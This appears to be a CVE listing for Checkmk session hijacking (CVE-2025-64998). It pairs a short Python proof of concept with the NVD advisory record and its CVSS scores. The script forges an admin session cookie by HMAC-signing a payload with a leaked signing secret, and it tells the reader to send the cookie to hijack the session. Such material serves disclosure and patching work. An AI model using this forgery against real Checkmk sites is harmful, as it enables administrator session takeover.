CVE-2025-64998

# PoC for CVE-2025-64998: Checkmk Session Hijacking via Secret Leakage import hmac import hashlib import base64 # Leaked session signing key obtained from remote site configuration LEAKED_SECRET = "LEAKED_SECRET_VALUE_HERE" def forge_cookie(user_id, timestamp): # Construct the cookie payload (simplified structure) payload = f"{user_id}:{timestamp}" # Sign the payload using the leaked secret signature = hmac.new(LEAKED_SECRET.encode(), payload.encode(), hashlib.sha256).digest() # Base64 encode the signature b64_signature = base64.b64encode(signature).decode() return f"{payload}:{b64_signature}" if __name__ == "__main__": # Example: Forge a session for admin user forged_cookie = forge_cookie("admin", "1710000000") print(f"Forged Cookie: _auth={forged_cookie}") print("Send this cookie in the HTTP header to hijack the session.")

{"cve": {"id": "CVE-2025-64998", "sourceIdentifier": "[email protected]", "published": "2026-03-24T12:16:11.930", "lastModified": "2026-05-12T13:34:29.653", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of session signing secret in Checkmk <2.4.0p23, <2.3.0p45 and 2.2.0 allows an administrator of a remote site with config sync enabled to hijack sessions on the central site by forging session cookies."}, {"lang": "es", "value": "La exposición del secreto de firma de sesión en Checkmk &lt;2.4.0p23, &lt;2.3.0p45 y 2.2.0 permite a un administrador de un sitio remoto con la sincronización de configuración habilitada secuestrar sesiones en el sitio central mediante la falsificación de cookies de sesión."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": 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